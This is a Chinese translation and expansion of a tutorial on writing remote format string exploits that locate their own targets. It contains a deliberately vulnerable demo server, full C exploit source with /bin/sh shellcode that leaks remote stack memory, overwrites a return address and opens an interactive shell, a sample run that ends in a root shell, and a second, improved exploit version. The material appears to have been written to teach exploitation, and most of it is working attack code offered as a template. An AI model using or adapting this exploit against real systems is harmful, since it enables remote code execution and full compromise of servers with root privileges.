如何写远程自动精确定位的format string exploit

/ns/hk/hacker/data/20020813013223.htm

如何写远程自动精确定位的format string exploit


Author: alert7
Email: alert7@whitecell.org
Homepage:http://www.whitecell.org


★★★ 前言

感觉这片文章还不错,就辛苦一下我自己,翻译下吧
佛曰:我不入地狱谁入地狱 :)
如果你在写format string exploit的时候是依照该文章的模板写的话,
记得抄送一份到我的信箱和原作者信箱哈:)

翻译整理有误的地方,还请斧正
Please email to: < alert7@xfocus.org >

format string bug已经被大家熟悉了,但写一个这样的exploit或者就有点难度了,
特别是写一个远程自动精确定位的format string exploit.当然,有些format string
bug是不能写出远程自动精确定位的exploit的,比如说vul出现在syslog(LOG_ERR, buf),
这样的vuln就只能暴力猜测了.
下面我们就step by step来展现下这种远程自动精确定位的format string exploit技术。


★★★ --[ 1. Context : the vulnerable server ]--

我们写了个很小的服务程序做为演示之用。请求login名和密码,然后echo它的输入。
该服务程序代码放在appendix 1.

安装fmtd server, 配置如下,我们使用12345 port

# /etc/inetd.conf
12345 stream tcp nowait root /home/alert7/format/fmtd

Or with xinetd:

# /etc/xinetd.conf

service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
}

我的实验环境是默认redhat 6.2,所以选用的是第一种。

重起inetd服务。使fmtd服务有效。
[root@redhat]# netstat -nlp|grep 12345
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 4932/inetd

现在,看看该服务是如何工作的:
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
helo
helo
helo world
helo world
^]
telnet> quit
Connection closed.

看一下log文件
[root@redhat]# tail -5 /var/log/messages
Mar 3 22:03:14 redhat fmtd[4948]: login -> read login [alert7^M ] (8) bytes
Mar 3 22:03:15 redhat fmtd[4948]: passwd -> read passwd [bffff820] (3) bytes
Mar 3 22:03:15 redhat fmtd[4948]: vul() -> tmp = 0xbffff418 buf = 0xbffff018
Mar 3 22:03:23 redhat fmtd[4948]: vul() -> error while reading input buf [] (0)
Mar 3 22:03:23 redhat inetd[4932]: pid 4948: exit status 255

假如我们使用format string,try again

[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
%x %x %x %x
d 25207825 78252078 d782520

字符串"%x %x %x %x"将被做为format string,所以我们就看到了d 25207825 78252078 d782520,
显然,该server就存在一个format string vuln.

<off topic>
下面是作者的原话,因为我认为他讲的有点问题,所以没有翻译,留着给读者自己鉴别。
In fact, all programs acting like that are not vulnerable to a
format bug:

int main( int argc, char ** argv )
{
char buf[8];
sprintf( buf, argv[1] );
}

Using %hn to exploit this leads to an overflow: the formatted
string is getting greater and greater, but since no control is
performed on its length, an overflow occurs.
而我认为这样的程序还是可以利用format string bug to exploit it.
唯一担心的是formatted string太大,会碰到堆栈底(0xc0000000)而使程序终止,
这样的话就比较麻烦了。
</off topic>

看看server中问题所在的函数vul():
...
snprintf(tmp, sizeof(tmp)-1, buf);
...

因为buffer <buf> 是用户可以直接输入控制的,所以利用它我们可以控制服务器,获取
server权限的shell.


★★★ --[ 2. Requested parameters ]--

就象local format bug一样,以下这些参数需要获得:

* the offset to reach the beginning of the buffer ;
到buffer开始的offset
* the address of a shellcode placed somewhere is the server's memory ;
shellcode的地址
* the address of the vulnerable buffer ;
vuln buffer的地址,也就是input buffer format string的地址
* a return address.
一个要覆盖的返回地址,覆盖这个地址,我们的shellcode才能得到控制权

exploit代码在附录2。下面部分我们来解释下exploit是如何设计的。

以下这些是exploit中使用到的一些变量:

* sd : the socket between client (exploit) and the vulnerable server ;
client和vuln server的一个socket
* buf : a buffer to read/write some data ;
读写的一些数据
* read_at : an address in the server's stack ;
要读服务器stack的地址
* fmt : format string sent to the server.
发送到server的format string


★★ --[ 2.1 猜测offset ]--

该offset在该类型的exploit中总是需要的,它的获取跟local exploit一样:

[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141

这里,offset为2。该变量使用自动猜测也是很容易得到的(通过get_offset()获得)。
它发string "AAAA%<val>$x"到服务器,假如offset是 <val>,服务器将会回答"AAAA41414141"

在某些不支持$的系统上,使用
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
aaaa%p
aaaa0x8
aaaa%p%p
aaaa0xa0x61616161

其实还有个对齐问题,作者可能没有注意到
使用该模板发送到服务器
[a][a][a]AAAA%<val>$x
[a]表示该a可选
假如发送aAAAA%7$x
服务器回答aAAAA41414141
那么就需要添一个a对齐即aligned=1,offset为7

在本文演示程序中,aligned = 0,offset = 2

例如printf(buf)这样一个函数调用时候
------------------------------------------------------------------
| printf's 返回时ebp | printf's 返回时eip | buf地址 | x | x | buf
------------------------------------------------------------------
buf_ptr
这里,aligned 就是等于4- (buf-buf_ptr-4)%4
if (aligned ==4) aligned =0;

offset = (buf-buf_ptr-4)/4
其实aligned,offset 大部分时候可以用手动计算就可以得到

#define MAXOFFSET 255

for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
read(sock, buf, sizeof(buf))
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}


★★ --[ 2.2 Guessing the address of the shellcode in the stack ]--

我们必须猜测shellcode在服务器内存中的地址。我们可以把shellcode放到
vuln buffer中或者其他地方。比如密码中(PASS)---一些ftp server对anonymous
的passwd没有多做检查。我们的server就是这样工作的 。


★ -- --[ Making a format bug a debugger ]-- --

我们的目标是找到shellcode在服务器内存中地址。所以我们将使用remote debugger
来达到目的。


使用format string "%s", 我们将send连续的"%s"到服务器,exploit能dump出
服务器进程的内存:

<addr>%<offset>$s

exploit中,分两步完成:

1. get_addr_as_char(u_int addr, char *buf)函数把add转化为char:
*(u_int*)buf = addr;

2. 4个字节后包含了format string

然后format string被送到远程的服务器上:

get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));

client读出在<addr>地址的数据(以string形式)。假如不包含shellcode,那么下一次
就在<addr + 读出数据的多少 >的地址读下一段string。

为了构造out buffer, sprintf() 从<in> string开始分析.
前面4个字节是要读的地址:他们简单的被拷贝到output buffer中.
然后是format string.因此,我们必须移4个字节:

while( (len = read(sd, buf, sizeof(buf))) > 0) {
[ ... ]
read_at += (len-4+1);
[ ... ]
}


★ -- --[ 我们要寻找什么 ? ]-- --

另外一个问题是,如何在内存中鉴别出shellcode。假如正好读出了所有的shellcode,
还是一不小心就会错过它。因为buffer是以NULL结尾的,该字符串包含许多NOPs。因此读
shellcode操作可以分成两步完成。

为了避免上述问题,假如读的字节多少等于buffer的大小,exploit会忽略最后sizeof(shellcode)
字节大小的数据。所以,read操作按下面执行:

while( (len = read(sd, buf, sizeof(buf))) > 0) {
[ ... ]
read_at += len;
if (len == sizeof(buf))
read_at-=strlen(shellcode);
[ ... ]
}

注意:这种情况还没有测试...所以不保证它能正常工作 ;-/
这种机会出现的概率比较小,如果真的出现这样的情况的话,exploit会失败。


★ -- --[ 在远程进程中查找shellcode的精确地址 ]-- --

在buf中匹配Pattern :

ptr = strstr(buf, pattern);

它返回一个指向buf中pattern的指针。因此,shellcode的位置就是:
addr_shellcode = read_at + (ptr-buf);

事实上还应该减去4,那4个字节就是用来读read_at地址的buffer开始的那四个字节

addr_shellcode = read_at + (ptr-buf) - 4;

其实应该写成这样好理解些
addr_shellcode = read_at + (ptr-(buf + 4) );


★ -- --[ shellcode : a summary ]-- --

代码一小段,没什么好解释的:

while( (len = read(sd, buf, sizeof(buf))) > 0) {
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
if (len == sizeof(buf)) {
read_at-=strlen(shellcode);
}
memset (buf, 0x0, sizeof (buf));
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}


★★ --[ 2.3 猜测返回地址 ]--

其次,我们该来猜测返回地址了。我们需要在远程进程stack(其实随便什么地址都行,只要
最后让shellcode得到控制权)中找到这样一个地址,把shellcode的地址写入该返回地址。

我们的目标是找到积存器%eip存放的堆栈位置。分两步完成:

1. 找到input buffer的地址
2. 找出属于vuln buffer函数的返回地址

为什么我们需要查找buffer的地址呢?在堆栈中查找(saved ebp, saved eip)pair
对我们来说不是一个好主意。因为在不同的调用函数不用清理堆栈。所以它将包含以前函数
调用的(saved ebp, saved eip)pair,甚至还包含着在进程中不使用的这样的pair.

因此,第一步,我们来猜测vuln buffer的地址。在该地址之上的地址中的pairs
(saved ebp, saved eip)才是可用的。


★ -- --[ 猜测input buffer地址 ]-- --

input buffer在远程进程内存中是容易鉴别的:它是我们输入数据的一个mirror。
server fmtd不做任何修改的拷贝它们。(假如在服务器回答之前对input buffer
做了一下处理,比如都转成大写,这样就比较麻烦,需要处理下)

所以,我们很容易的就能得到一份format string拷贝的地址:

while((len = read(sd, buf, sizeof(buf))) > 0) {
if ((ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
memset (buf, 0x0, sizeof (buf));
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}


★ -- --[ 猜测返回地址 ]-- --

大部分linux的stack top在0xc0000000.但不是全部:Caldera 的stack top为
0x80000000 (BTW, 谁能解释下为什么?).还有一些打了安全内核补丁的stack top也
不一定为0xc0000000。那些返回地址的存放地位置大概在0xbfffXXXX,这里 <XX>是不
定数。而进程的代码被装载到0x08048000开始处。

所以,我们必须读远程堆栈,找到如下:

0x0804XXXX
0xbfffXXXX
Top of the stack

由于i386上是小端字节序,这就等于查找下面字符序列0xff 0xbf XX XX 0x04 0x08.
就象前面看到的,我们不必考虑返回回来的string的最前面的4个字节:

i = 4;
while (i<len-5 && addr_ret == -1) {
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
if (addr_ret != -1) break;

变量<addr_ret>是用一个公式来计算:

* read_at : the address we just read ;
* +i : the offset in the string we are looking for the pattern (we
can't use strstr() since our pattern has wildcards - undefined
bytes XX) ;
* -2 : the first bytes we discover in the stack are ff bf, but
he full word (i.e. saved %ebp) is written on 4 bytes. The -2
is for the 2 "least bytes" placed at the beginning of the word XX
XX ff bf ;
* +4 : this modification is due to the return address which is 4
bytes above the saved %ebp ;
* -4 : as you should be used to now, the first 4 bytes which are a
copy of the read address.
不翻译上面的了,中文意思表达不清,还是E的吧



★★★--[ 3. Exploitation ]--

到此,我们知道了所有需要参数,这样exploit实现起来应该不是件难事。
我们必须在vuln 函数的返回地址(addr_ret)写上shellcode的地址(addr_shellcode).
fmtbuilder函数是从[5]中栽出来的,并且构造format string发送到server:

build_hn(buf, addr_ret, addr_shellcode, offset, 0);
write(sd, buf, strlen(buf));

一旦在远程堆栈中替换完成,我们就只等vul()返回了。然后我们就send "quit"命令使
vul()函数返回。

strcpy(buf, "quit");
write(sd, buf, strlen(buf));

最后,函数interact() 允许我们获得一个shell.

[alert7@redhat]$ ./expl-fmtd -a 0xbfffed01
Using IP 127.0.0.1
Connected to 127.0.0.1
[buffer addr is: 0xbffff018 (12) ]
buf = (12)
18 f0 ff bf 18 f0 ff bf 25 32 24 73

[shell addr is: 0xbffff820 (57) ]
buf = (57)
18 f8 ff bf 48 fc ff bf 50 88 04 08 eb 1f 5e 89 76 08 31 c0 88
46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89
d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68
[ret addr is: 0xbffff81c (57) ]
Building format string ...
Sending the quit ...
bye bye ...
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) groups=0(root)
exit


★★★--[ 4. 小节 ]--

正如我们看到,自动精确定位也不是十分困难。
fmtbuilmder库也提供了一些必要的工具 (参看参考)。

这里有一点需要注意的,read_at的地址不能太低,太低的话会使server当掉,因为那些地址
是不可访问的。如果这样的话,还需要自行纠正一下。

该解决方法不好的地方就是返回地址在input buffer之下。返回地址使用的是vul的返回地址。
也就是说等vul返回的时候,buffer已经被程序清0了,所以该exploit使用的shellcode是
放到passwd中传过去的。
我一直比较喜欢覆盖*printf函数本身的返回地址。这样当*printf()返回的时候,buffer还
没有被清掉,如果shellcode放在buffer中的话,还是可用的。

还有什么--见Appendix 3


★--[ Greetings ]--

Denis Ducamp and Renaud Deraison for their comments/fixes.
感谢Denis Ducamp和Renaud Deraison

------------------------------------------------------------------------


--[ Appendix 1 : the server side fmtd ]--

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>

void respond(char *fmt,...);

int vul(void)
{
char tmp[1024];
char buf[1024];
int len = 0;

syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf);

while(1) {

memset(buf, 0, sizeof(buf));
memset(tmp, 0, sizeof(tmp));
if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
buf, len);
exit(-1);
} /*
else
syslog(LOG_INFO, "vul() -> read %d bytes", len);
*/
if (!strncmp(buf, "quit", 4)) {
respond("bye bye ...\n");
return 0;
}
snprintf(tmp, sizeof(tmp)-1, buf);
respond("%s", tmp);

}
}

void respond(char *fmt,...)
{
va_list va;
char buf[1024];
int len = 0;

va_start(va,fmt);
vsnprintf(buf,sizeof(buf),fmt,va);
va_end(va);
len = write(STDOUT_FILENO,buf,strlen(buf));
/* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
}


int main()
{
struct sockaddr_in sin;
int i,len = sizeof(struct sockaddr_in);
char login[16];
char passwd[1024];
openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);

/* get login */
memset(login, 0, sizeof(login));
respond("login: ");
if ( (len = read(0, login, sizeof(login))) <= 0 ) {
syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
login, len);
exit(-1);
} else
syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);

/* get passwd */
memset(passwd, 0, sizeof(passwd));
respond("password: ");
if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
passwd, len);
exit(-1);
} else
syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);

/* let's run ... */
vul();
return 0;
}

------------------------------------------------------------------------


--[ Appendix 2 : the exploit side expl-fmtd ]--

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>



char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

int interact(int sock)
{
fd_set fds;
ssize_t ssize;
char buffer[1024];

write(sock, BANNER"\n", sizeof(BANNER));
while (1) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(sock, &fds);
select(sock + 1, &fds, NULL, NULL, NULL);

if (FD_ISSET(STDIN_FILENO, &fds)) {
ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}

if (FD_ISSET(sock, &fds)) {
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}

u_long resolve(char *host)
{
struct hostent *he;
u_long ret;

if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}

memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}
int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
int i;

/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);

/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

for (i=0;i<alinged;i++)
strcat(buf,"a");

return snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
}



void get_addr_as_char(u_int addr, char *buf) {

*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}

int get_offset(int sock,int * alinged) {

int i, j,offset = -1, len;
char fmt[128], buf[128];
char tmp1[128],tmp2[128];


for (j =0;j<4;j++)
{
if (j == 0)
{
strcpy(tmp1,"AAAA%%%d$x");
strcpy(tmp2,"AAAA41414141");
}
if (j == 1)
{
strcpy(tmp1,"AAAAa%%%d$x");
strcpy(tmp2,"AAAAa41414141");
}
if (j == 2)
{
strcpy(tmp1,"AAAAaa%%%d$x");
strcpy(tmp2,"AAAAaa41414141");
}
if (j == 3)
{
strcpy(tmp1,"AAAAaaa%%%d$x");
strcpy(tmp2,"AAAAaaa41414141");
}

for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

snprintf(fmt, sizeof(fmt), tmp1, i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}

if (debug)
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);

if (!strcmp(buf, tmp2))
{
offset = i;
*alinged = j;
goto OUT;
}
}//end for i

}//end for j
OUT:
return offset;
}

char *shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */
u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
int port = 12345, offset = -1;
int sd, len, i;
int aligned;

while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
switch (c) {
case 'i':
ip = optarg;
break;

case 'p':
port = atoi(optarg);
break;

case 'a':
addr_stack = strtoul(optarg, NULL, 16);
break;

case 'o':
offset = atoi(optarg);
break;

case 'v':
verbose = 1;
break;

case 'd':
debug = 1;
break;

default:
fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
exit (EXIT_FAILURE);
}
}

/* init the sockaddr_in */
fprintf(stderr, "Using IP %s\n", ip);
sck.sin_family = PF_INET;
sck.sin_addr.s_addr = resolve(ip);
sck.sin_port = htons (port);

/* open the socket */
if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
perror ("socket()");
exit (EXIT_FAILURE);
}

/* connect to the remote server */
if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
perror ("Connect() ");
exit (EXIT_FAILURE);
}
fprintf (stderr, "Connected to %s\n", ip);
if (debug) sleep(10);

/* send login */
memset (buf, 0x0, sizeof(buf));
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "login", 5)) {
fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "toto");
len = write (sd, buf, strlen(buf));
if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(1);

/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "password", 8)) {
fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, shellcode, strlen(shellcode));
if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);
sleep(1);

/***********************************************************************/
/* find offset and aligned ,一般情况这个可以手动判断就可以了,不过程序判断
*也不麻烦
*/
if (offset == -1) {
if ((offset = get_offset(sd,&aligned)) == -1) {
fprintf(stderr, "Error: can't find offset\n");
fprintf(stderr, "Please, use the -o arg to specify it.\n");
close(sd);
exit(EXIT_FAILURE);
}
if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);
}
/***********************************************************************/

/* look for the address of the shellcode in the remote stack */
memset (fmt, 0x0, sizeof(fmt));
read_at = addr_stack;
get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
/*
*构造read_at%n$s,准备读read_at内存地址的内容
*/
write(sd, fmt, strlen(fmt));
sleep(1);

while((len = read(sd, buf, sizeof(buf))) > 0 &&
(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {

if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);

/***********************************************************************/
//以下查找shellcode 在内存中的地址
/* the shellcode */
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n");
}
/***********************************************************************/


/***********************************************************************/
//以下查找format string地址
/* the input buffer */
if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
/*addr_buffer就是format string的地址*/
fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
}
/***********************************************************************/

#if 0
if (addr_buffer != -1)
addr_ret = addr_buffer-(4*offset+4)-aligned - 4*2 - 4;
#endif

/***********************************************************************/
//以下查找要覆盖的返回地址的地址
/* return address */
if (addr_buffer != -1) {
i = 4;
while (i<len-5 && addr_ret == -1) {
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
if ( (addr_ret & 0xff)* ( (addr_ret >> 8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
addr_ret = -1;
else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
}
/***********************************************************************/


read_at += (len-4+1);
if (len == sizeof(buf)) {
fprintf(stderr, "Warning: this has not been tested !!!\n");
fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
read_at-=strlen(shellcode);
}
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));

} //end while

/* send the format string */
fprintf (stderr, "Building format string ...\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, sizeof(buf));

/* call the return while quiting */
fprintf (stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);

interact(sd);

close(sd);
return 0;
}



------------------------------------------------------------------------


--[ Appendix 3 : the exploit modify by alert7 ]--

/********************************************************************/

/*
changelog
1
如果input buffer够大,而又没有其他地址可输入的地方,没有象类似pass的时候
我们可以把shellcode直接放到input buffer中

2
该改进过的exploit考虑了aligned的问题了,原来原作者没有考虑到
虽然在这个例子中,我们没有碰到,也就是在这个例子中aligned为0

3
改进过的exploit需要猜测3个部分
一个是offset和aligned
第二个就是input buffer的地址,也就是format string的地址
第三个就是ret_loc,要覆盖的返回地址
减少了猜测shellcode的地址的过程,因为现在把shellcode放到在了
format string后面,直接和format string放进了input buffer
所以,有了format string地址,就有了shellcode地址
4
改进过的exploit修改的返回地址是*printf本身的返回地址,更精确些
关于覆盖*printf本身的返回地址,请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>
也就是由于使用了该技术,才使的我们的shellcode可以放在input buffer中。

5
该exploit能正确处理
象printf(buf)(format string可以在buf中找到)和sprintf(buf1,buf2)
(format string可以同时在buf1和buf2中找到)这样两大类*printf函数

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>



char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

char *shellcode =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int interact(int sock)
{
fd_set fds;
ssize_t ssize;
char buffer[1024];

write(sock, BANNER"\n", sizeof(BANNER));
while (1) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(sock, &fds);
select(sock + 1, &fds, NULL, NULL, NULL);

if (FD_ISSET(STDIN_FILENO, &fds)) {
ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}

if (FD_ISSET(sock, &fds)) {
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}

u_long resolve(char *host)
{
struct hostent *he;
u_long ret;

if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}

memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}

int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
int i,j,count=0;

buf[0]=0;

for (i=0;i<alinged;i++)
strcat(buf,"a");

/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);

/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

printf("low %d;TWO %d;start %d;base %d;offset %d;high %d\n\n",low,TWO,start,base,offset,high);

i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
for (j=0;j<strlen(buf);j++)
{
if (buf[j] == '%' )
count++;
fprintf(stderr,"%.2x ", (int)(buf[j] & 0xff));
if (j && j%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
if (count > 4)
{
printf("too many '%%' in input buffer\nmay be failed\n\n");
}
strcat(buf,shellcode);
return i;
}



void get_addr_as_char(u_int addr, char *buf) {

*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}

